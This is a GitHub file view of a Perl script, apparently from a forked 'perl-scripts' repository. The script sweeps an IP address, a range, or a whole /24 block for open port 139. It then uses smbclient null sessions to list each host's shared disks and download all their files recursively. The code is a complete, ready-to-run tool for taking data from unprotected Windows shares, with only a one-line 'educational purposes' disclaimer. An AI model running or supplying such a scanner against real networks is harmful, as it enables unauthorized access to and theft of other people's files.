forked from Shadow-Network/perl-scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathScript uses smbclient to fetch files from win null shares.pl
More file actions
60 lines (55 loc) · 3.42 KB
/
Script uses smbclient to fetch files from win null shares.pl
File metadata and controls
60 lines (55 loc) · 3.42 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/perl -w
# This perl script uses smbclient to fetch files
# from win null shares.
# use for educational purposes
# by nobot
use warnings;
use strict;
use IO::Socket;
Main();
sub GetIpAddresses {
my @in = split(/\./, shift);
my @ips; #will hold the generated ip addresses
Usage() unless ($#in == 3);
for(0..2) {
Usage() unless (($in[$_] =~ /^\d+$/) && ($in[$_] < 256));
}
if ($in[3] =~ /^\d+$/) { # format is a.b.c.d
push(@ips, join(".", @in));
} elsif ($in[3] eq "*") { # format is a.b.c.*
push(@ips, join(".", (@in[0..2], $_))) for(0..255);
} elsif ($in[3] =~ /^\d+[-]\d+/) { #format is a.b.c.x-y
my @r = split(/-/, $in[3]);
Usage() unless (($r[0] < $r[1]) && $r[1] < 256);
push(@ips, join(".", (@in[0..2], $_))) for($r[0]..$r[1]);
} else {
Usage();
}
return @ips;
}
sub Main {
my $port = $ARGV[1] ? $ARGV[1] : 139;
for my $ip (GetIpAddresses($ARGV[0])) {
print "Trying $ip ...\n";
next unless (IO::Socket::INET->new
(Proto => "tcp",
PeerAddr => $ip,
PeerPort => $port,
Timeout => 1.0));
for(`smbclient -L $ip -N 2>/dev/null`) {
next unless(/Disk/); #looking for shared disks
my $share = $`;
$share =~ s/^\s+//;
$share =~ s/\s+$//;
`smbclient //$ip/\'$share\' -N -c \'recurse ON;prompt OFF;mget\'`;
}
}
}
sub Usage {
print "\n usage: perl gans.pl <ipstring> <port>\n";
print " where <ipstring> : a.b.c.d\n";
print " or a.b.c.x-y\n";
print " or a.b.c.*\n";
print " and <port> is port. \n";
exit(1);
}